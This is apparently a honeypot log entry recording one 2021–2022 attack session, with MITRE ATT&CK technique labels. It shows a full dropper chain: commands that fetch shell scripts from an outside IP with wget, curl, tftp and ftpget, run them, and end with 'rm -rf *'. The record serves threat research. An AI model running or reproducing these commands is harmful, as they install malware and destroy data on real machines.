Honeypot attack session (period 2021_2022), commands issued:
cd /tmp  cd /var/run  cd /mnt  cd /root  cd /; wget http://65.21.184.203/zeros6x.sh; curl -O http://65.21.184.203/zeros6x.sh; chmod 777 zeros6x.sh; sh zeros6x.sh; tftp 65.21.184.203 -c get zeros6x.sh; chmod 777 zeros6x.sh; sh zeros6x.sh; tftp -r zeros6x2.sh -g 65.21.184.203; chmod 777 zeros6x2.sh; sh zeros6x2.sh; ftpget -v -u anonymous -p anonymous -P 21 65.21.184.203 zeros6x1.sh zeros6x1.sh; sh zeros6x1.sh; rm -rf zeros6x.sh zeros6x.sh zeros6x2.sh zeros6x1.sh; rm -rf *

MITRE ATT&CK techniques observed:
T1083 File and Directory Discovery
T1105 Ingress Tool Transfer
T1222 File and Directory Permissions Modification
T1059 Command and Scripting Interpreter
T1070 Indicator Removal